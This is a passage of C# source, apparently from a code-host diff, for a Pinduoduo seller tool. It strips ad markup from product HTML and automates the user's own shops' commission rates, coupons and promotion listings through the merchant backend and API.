string newContent = BaseRegex.Relpace(content, @"(<img[^>]*assets\.alicdn\.com[^>]*>)", "");
ClearTable(ref newContent);
BaseRegex.Relpace(ref newContent, @"(<[aA] [\w\W]+?</[aA]>)", "");
BaseRegex.Relpace(ref newContent, @"(<p[^>]*>[^<]*[\d]{10,15}[^<]*</p>)", "");
BaseRegex.Relpace(ref newContent, @"(<[^>]*#ffffff[^>]*>[^<]*[\d]{10,15}[^<]*<[^>]*>)", "");
BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0;[\s]*height:[\s]*0;[^>]*>[\w\W]*?</[pdiv]+>))", "");
BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0px;[\s]*height:[\s]*0px;[^>]*>[\w\W]*?</[pdiv]+>))", "");
BaseRegex.Relpace(ref newContent, @"(http[\s]{0,1}://item\.taobao\.com/item\.htm\?id=[\d]+)", "");
newContent = newContent.Replace("<p>&nbsp;</p>", "");
if (!newContent.Contains("<img "))
return content;
return newContent;
}
/// <summary>
/// 清除表格广告代码
/// </summary>
/// <param name="html"></param>
/// <returns></returns>
public static void ClearTable(ref string html)
{
if (string.IsNullOrEmpty(html))
return;
int i = html.IndexOf("<table");
Again:
int first = i;
if (i < 0)
return;
int end = html.IndexOf("</table", i);
if (i < 0 || end < 0 || end < i)
return;
int top = 1;
while (top > 0 && i >= 0)
{
end = html.IndexOf("</table", i);
string temp = html.Substring(i + 6, end - i + 2);
int add = (temp.Length - temp.Replace("<table", "").Length) / 6;
top = top - 1 + add;
int t1 = html.IndexOf("<table", end + 7);
int t2 = html.IndexOf("</table", end + 7);
if (t1 >= 0 && (t1 < t2 || t2 < 0))
i = t1;
if (t2 >= 0 && (t2 < t1 || t1 < 0))
i = t2;
}
string re = html.Substring(first, end - first + 8);
if (re.Contains("<a "))
{
html = html.Replace(re, "");
i = html.IndexOf("<table");
}
else
{
i = html.IndexOf("<table", end);
}
goto Again;
}
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+945
View File
@@ -0,0 +1,945 @@
using AllBase;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class JinBaoSpread
{
public static int Rate = 0;
public static int ShopRate = 0;
public static string goodId = "";
public static string Name="多多推广";
public static ShopChatBase Shop;
public static List<ShopChatBase> tempShops = new List<ShopChatBase>();
public static List<GoodRate> tempGoodRate = new List<GoodRate>();
public static string couponStartTime = "";
public static string couponEndTime = "";
public static long discount = 0;
//public static long commissionRate = 0;
public static int couCount = 1;
public static int goodCount = 500;
public static bool stopping = false;
public static int couCountx = 1;
public static long discountx = 0;
public static string couponStartTimex = "";
public static string couponEndTimex = "";
public static void WriteSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/cps/api/edit/editMallUnit";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{\"rate\":\"" + ShopRate * 10 + "\" }";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "店铺" + shop.ShopName + ",修改后的佣金比率将在第二天0点生效");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "店铺" + shop.ShopName+","+ errorMsg + ",修改佣金比率失败");
}
}
}
public static void GoodWriteSpread()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string html = api.UpdateExtension(goodId,Rate * 10);
if (html.Contains("{\"is_change_success\":true}"))
{
LogSave.Add(Name, "商品" + goodId + ",修改后的佣金比率将在第二天0点生效");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
LogSave.Add(Name, "商品" + goodId + "," + errorMsg + ",修改佣金比率失败");
}
}
public static void CreateWriteSpread()
{
string[] goodsId = goodId.Trim().Replace("\r", "").Split('\n');
string units = "[";
for (int j = 0; j < goodsId.Length; j++)
{
units += "{\"goods_id\":\"" + goodsId[j] + "\",\"rate\":" + Rate * 10 + "},";
}
units = units.Substring(0, units.Length - 1);
units +="]";
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string html = api.CreateGoodExtension(units);
if (html.Contains("{\"failed_vos\":[]}"))
{
LogSave.Add(Name, "商品" + goodId.Replace("\r", "").Replace("\n", "") + ",开通佣金比率成功");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "reason");
LogSave.Add(Name, "商品" + goodId.Replace("\r", "").Replace("\n", "") + "开通佣金比率失败,错误原因"+errorMsg);
}
}
public static void OpenSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/cps/api/edit/openMallUnit";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{\"rate\":\"" + Rate * 10 + "\" }";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "店铺" + shop.ShopName + ",开通多多推广成功,修改后的佣金比率将在第二天0点生效");
Thread.Sleep(10*1000);
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "店铺" + shop.ShopName + "," + errorMsg + ",开通多多推广失败");
}
}
ReadSpread();
}
public static void OpenGoodSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(shop);
string html = api.CreateJinBaoExtension(ShopRate * 10);
if (html.Contains("\"is_create_success\":true"))
{
LogSave.Add(Name, "店铺" + shop.ShopName + ",开通多多推广成功,修改后的佣金比率将在第二天0点生效");
Thread.Sleep(10 * 1000);
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
LogSave.Add(Name, "店铺" + shop.ShopName + "," + errorMsg + ",开通多多推广失败");
}
}
ReadSpread();
}
public static void ReadSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/cps/api/query/queryMallUnit";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop.Cookies);
decimal minRate = BaseRegex.GetDecimalJson(ref html, "rate") / 10M;
shop.commission = minRate + "%";
if (minRate==0)
{
shop.commission = "没有开通全店推广";
LogSave.Add(Name, "商铺" + shop.ShopName + ",没有开通全店推广");
}
else
{
LogSave.Add(Name, "商铺" + shop.ShopName + ",佣金比率:" + minRate + "%");
}
tempShops.Add(shop);
Thread.Sleep(1 * 1000);
}
}
public static void apiReadSpread()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string html=api.JinBaoExtension(goodId);
decimal minRate = BaseRegex.GetDecimalJson(ref html, "rate") / 10M;
string errorMsg = "";
if (minRate == 0)
{
errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
LogSave.Add(Name, "商品" + goodId + ","+errorMsg);
return;
}
else
{
LogSave.Add(Name, "商品" + goodId + ",佣金比率:" + minRate + "%");
}
GoodRate goodRate = new GoodRate();
goodRate.shopName = Shop.ShopName;
goodRate.goodId = goodId;
goodRate.rate = minRate + "%";
goodRate.error = errorMsg;
tempGoodRate.Add(goodRate);
Thread.Sleep(1 * 1000);
}
public static void OpenGoodCoupon()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
JinBaoMarketing.couponStartTime = couponStartTime;
JinBaoMarketing.couponEndTime = couponEndTime;
JinBaoMarketing.discount = discount;
JinBaoMarketing.Rate = Rate;
JinBaoMarketing.couCount = couCount;
JinBaoMarketing.goodCount = goodCount;
Threadx.ThreadListWait(ref ts, new Thread(p.GetGoodCoupon), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void OpenSetGoodCoupon()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
JinBaoMarketing.couponStartTime = couponStartTimex;
JinBaoMarketing.couponEndTime = couponEndTimex;
JinBaoMarketing.discount = discountx;
//JinBaoMarketing.Rate = Rate;
JinBaoMarketing.couCount = couCountx;
//JinBaoMarketing.goodCount = goodCount;
Threadx.ThreadListWait(ref ts, new Thread(p.GetSetGoodCoupon), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void OpenShopGoodCoupon()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
JinBaoMarketing.couponStartTime = couponStartTime;
JinBaoMarketing.couponEndTime = couponEndTime;
JinBaoMarketing.discount = discount;
JinBaoMarketing.Rate = Rate;
JinBaoMarketing.couCount = couCount;
JinBaoMarketing.goodCount = goodCount;
JinBaoMarketing.goodId = goodId;
Threadx.ThreadListWait(ref ts, new Thread(p.GetShopGoodCoupon), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetGoodSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetNoGoodSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetNoGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetNoDelGoodSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetNoDelGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
public static void GetCouponSpread()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
var p = new JinBaoMarketing(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.GetCouponGoods), 20);
Thread.Sleep(100);
}
Threadx.ThreadListWait(ref ts);
}
}
public class JinBaoMarketing
{
public string Name = "";
public ShopChatBase Shop;
public static string couponStartTime = "";
public static string couponEndTime = "";
public static long discount = 0;
public static int Rate = 0;
public static int couCount = 0;
public static int goodCount = 0;
public static string goodId = "";
public static List<TaobaoProductBase> jinBaoTempProduct = new List<TaobaoProductBase>();
//public static List<TaobaoProductBase> jinBaoDelProduct = new List<TaobaoProductBase>();
public static Dictionary<string, List<TaobaoProductBase>> jinBaoDelProduct = new Dictionary<string, List<TaobaoProductBase>>();
public static List<TaobaoProductBase> jinBaoTempDelProduct = new List<TaobaoProductBase>();
public JinBaoMarketing(string name,ShopChatBase shop)
{
this.Name = name;
this.Shop = shop;
}
public void GetGoods()
{
Shop.jinBaoProduct.Clear();
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/cps/api/mall/goods";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
string data = "{\"pageNumber\":#page#,\"pageSize\":100}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
if (page > 1000)
{
page = 1000;
}
for (int i = 0; i < 5; i++)
{
if (i != 0)
{
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
TaobaoProductBase p = new TaobaoProductBase();
p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId");
//p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn");
p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName");
p.CatId = BaseRegex.GetIntJson(ref list, "cat_id");
p.ShopName = Shop.ShopName;
int price = BaseRegex.GetIntJson(ref list, "groupPrice");
p.Price = price / 100m;
p.favcnt = JinBaoSpread.Rate;
p.UseShopName = Shop.Name;
//p.jinbaoCount = JinBaoSpread.couCount;
//p.jinbaoAmount = JinBaoSpread.discount;
//商品已经被设置
int wipeOutReason = BaseRegex.GetIntJson(ref list, "wipeOutReason");
if (wipeOutReason == 1)
continue;
jinBaoTempProduct.Add(p);
if (!Shop.jinBaoProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId))
Shop.jinBaoProduct.Add(p);
}
Thread.Sleep(300);
LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i);
}
LogSave.Add(Name, "获取完成");
}
public void GetNoGoods()
{
if (jinBaoDelProduct.ContainsKey(Shop.ShopName))
jinBaoDelProduct.Remove(Shop.ShopName);
List<TaobaoProductBase> jinbaolst = new List<TaobaoProductBase>();
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/cps/api/query/unitList";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
if (page > 1000)
{
page = 1000;
}
for (int i = 0; i < page; i++)
{
if (i != 0)
{
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"{""id"":[\w\W]+?""hasCoupon""");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
TaobaoProductBase p = new TaobaoProductBase();
p.GoodsSn= BaseRegex.GetLongJson(ref list, "id");
p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId");
//p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn");
p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName");
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
int price = BaseRegex.GetIntJson(ref list, "groupPrice");
p.Price = price / 100m;
p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate")/10;
//商品已经被设置
int onSale = BaseRegex.GetIntJson(ref list, "onSale");
if (onSale == 1)
continue;
p.Message = "未达标";
jinBaoTempDelProduct.Add(p);
if (!jinbaolst.Exists(pt => pt != null && pt.GoodsId == p.GoodsId))
jinbaolst.Add(p);
}
Thread.Sleep(300);
LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i);
}
jinBaoDelProduct.Add(Shop.ShopName, jinbaolst);
LogSave.Add(Name, "获取完成");
}
public void GetCouponGoods()
{
if (jinBaoDelProduct.ContainsKey(Shop.ShopName))
jinBaoDelProduct.Remove(Shop.ShopName);
List<TaobaoProductBase> jinbaolst = new List<TaobaoProductBase>();
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/cps/api/query/unitList";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies);
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
if (page > 1000)
{
page = 1000;
}
for (int i = 0; i < 2; i++)
{
if (i != 0)
{
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies);
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"[\w\W]+?""hasCoupon""[^>]+?");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
TaobaoProductBase p = new TaobaoProductBase();
p.GoodsSn = BaseRegex.GetLongJson(ref list, "id");
p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId");
//p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn");
p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName");
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
//p.jinbaoCount = JinBaoSpread.couCountx;
//p.jinbaoAmount = JinBaoSpread.discountx;
int price = BaseRegex.GetIntJson(ref list, "groupPrice");
p.Price = price / 100m;
p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate") / 10;
//商品已经被设置
int remainQuantity = BaseRegex.GetIntJson(ref list, "remainQuantity");
if (remainQuantity == 1)
continue;
p.Message = "添加优惠券";
jinBaoTempDelProduct.Add(p);
if (!jinbaolst.Exists(pt => pt != null && pt.GoodsId == p.GoodsId))
jinbaolst.Add(p);
}
Thread.Sleep(300);
LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i);
}
jinBaoDelProduct.Add(Shop.ShopName, jinbaolst);
LogSave.Add(Name, "获取完成");
}
public void GetNoDelGoods()
{
if (!jinBaoDelProduct.ContainsKey(Shop.ShopName))
return;
var jinbaolst = jinBaoDelProduct[Shop.ShopName];
for (int i = 0; i < jinbaolst.Count; i++)
{
string url = "https://mms.pinduoduo.com/cps/api/edit/delete";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
string data = "{\"id\":"+ jinbaolst[i].GoodsSn + ",\"goodsId\":"+ jinbaolst[i].GoodsId+ "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies);
LogSave.Add(Name, jinbaolst[i].GoodsId + "正在删除");
if (!html.Contains("\"success\":true"))
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = jinbaolst[i].GoodsId;
p.Message = errorMsg;
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = jinbaolst[i].GoodsId;
p.Message = "未达标删除成功";
jinBaoTempProduct.Add(p);
}
Thread.Sleep(1000);
}
}
public void GetGoodCoupon2()
{
string subtemp = "";
string temp = "";
int count = 0;
for (int i = 0; !JinBaoSpread.stopping && i < Shop.jinBaoProduct.Count; i++)
{
if (count >= goodCount)
{
count = 0;
break;
}
var product = Shop.jinBaoProduct[i];
if (product.Uped)
continue;
Shop.jinBaoProduct[i].Uped = true;
long goodsPrice = (long)product.Price;
long goodsId = product.GoodsId;
string url = "https://mms.pinduoduo.com/cps/api/coupon/queryGoodsCouponLimit";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/create";
string data = "{\"goodsIds\":[" + goodsId + "],\"type\":1}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
long maxCoupon = BaseRegex.GetLongJson(ref html, "maxCoupon") / 1000;
if (discount > maxCoupon)
discount = maxCoupon;
//Thread.Sleep(2 * 1000);
url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon";
refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999);
data = "{\"minOrderAmount\":0,\"couponDesc\":\"" + randx + "\",\"couponStartTime\":\"" + couponStartTime
+ "\",\"couponEndTime\":\"" + couponEndTime
+ "\",\"discount\":" + discount * 1000 + ",\"initQuantity\":" + couCount + ",\"userLimit\":1,\"goodsPrice\":" + goodsPrice
+ ",\"goodsId\":" + goodsId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
long couponId = BaseRegex.GetLongJson(ref html, "batchId");
url = "https://mms.pinduoduo.com/cps/api/coupon/checkCouponInfo";
refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
data = "{\"goodsId\":" + goodsId + ",\"couponId\":" + couponId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
subtemp += ",{\"goodsId\":" + goodsId + ",\"commissionRate\":" + Rate * 10 + ",\"couponId\":" + couponId + ",\"isVerify\":true}";
temp += "," + goodsId;
LogSave.Add(Name, goodsId + "正在生成优惠券");
count++;
Thread.Sleep(2 * 1000);
}
string urlx = "https://mms.pinduoduo.com/cps/api/edit/createCommonUnit/twoConfirm";
string referex = "https://mms.pinduoduo.com/jinbao/promotion/create";
string datax = "{\"units\":[" + subtemp.Substring(1) + "]}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
if (!htmlx.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
if (!htmlx.Contains("\"success\":true"))
return;
}
urlx = "https://mms.pinduoduo.com/cps/api/edit/createCommonUnit";
referex = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
datax = "{\"units\":[" + subtemp.Substring(1) + "],\"isVerifyRatePrice\":true,\"isVerifyMultiEvent\":true}";
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
string[] goodData = temp.Substring(1).Split(',');
if (!htmlx.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
}
if (!htmlx.Contains("\"success\":true"))
{
for (int i = 0; i < goodData.Length; i++)
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = long.Parse(goodData[i]);
p.Message = "推广失败";
jinBaoTempProduct.Add(p);
}
return;
}
for (int i = 0; i < goodData.Length; i++)
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = long.Parse(goodData[i]);
p.Message = "推广成功";
jinBaoTempProduct.Add(p);
}
}
public void GetShopGoodCoupon()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string[] goodsIdx = JinBaoSpread.goodId.Trim().Replace("\r", "").Split('\n');
for (int i = 0; i < goodsIdx.Length; i++)
{
if (string.IsNullOrEmpty(goodsIdx[i]))
continue;
long goodsId =long.Parse(goodsIdx[i]);
api.Data.Clear();
api.Data.Add("batch_desc", "设置优惠券");
api.Data.Add("batch_start_time", couponStartTime);
api.Data.Add("batch_end_time", couponEndTime);
api.Data.Add("discount", (discount * 100).ToString());
api.Data.Add("init_quantity", couCount.ToString());
api.Data.Add("user_limit", "1");
api.Data.Add("goods_id", goodsId.ToString());
string html = api.CreateProCoupon();
if (html.Contains("不可重复设置"))
continue;
LogSave.Add(Name, goodsId + "正在生成优惠券");
long batch_id = BaseRegex.GetLongJson(ref html, "batch_id");
if (batch_id <= 0)
continue;
api.Data.Clear();
string units = "[{\"goods_id\":" + goodsId + ",\"rate\":10,\"coupon_id\":" + batch_id
+ ",\"coupon_start_time\":\"" + couponStartTime + "\",\"coupon_end_time\":\""
+ couponEndTime + "\",\"discount\":" + discount * 100
+ ",\"init_quantity\":" + couCount + "}]";
html = api.CreateGoodExtension(units);
if (html.Contains("不可重复设置"))
continue;
if (html.Contains("调用过于频繁"))
{
Thread.Sleep(2 * 1000);
html = api.CreateGoodExtension(units);
}
if (html.Contains("error_msg"))
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = "推广失败";
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = "推广成功";
jinBaoTempProduct.Add(p);
}
}
}
public void GetGoodCoupon()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
int count = 0;
for (int i = 0; !JinBaoSpread.stopping && i < Shop.jinBaoProduct.Count; i++)
{
if (count >= goodCount)
{
count = 0;
break;
}
var product = Shop.jinBaoProduct[i];
//long goodsPrice = (long)(product.Price * 1000);
long goodsId = product.GoodsId;
api.Data.Clear();
api.Data.Add("batch_desc", "设置优惠券");
api.Data.Add("batch_start_time", couponStartTime);
api.Data.Add("batch_end_time", couponEndTime);
api.Data.Add("discount", (discount * 100).ToString());
api.Data.Add("init_quantity", couCount.ToString());
api.Data.Add("user_limit", "1");
api.Data.Add("goods_id", goodsId.ToString());
string html = api.CreateProCoupon();
if (html.Contains("不可重复设置"))
continue;
LogSave.Add(Name, goodsId + "正在生成优惠券");
long batch_id = BaseRegex.GetLongJson(ref html, "batch_id");
if (batch_id <= 0)
continue;
api.Data.Clear();
string units = "[{\"goods_id\":"+ goodsId + ",\"rate\":10,\"coupon_id\":" + batch_id
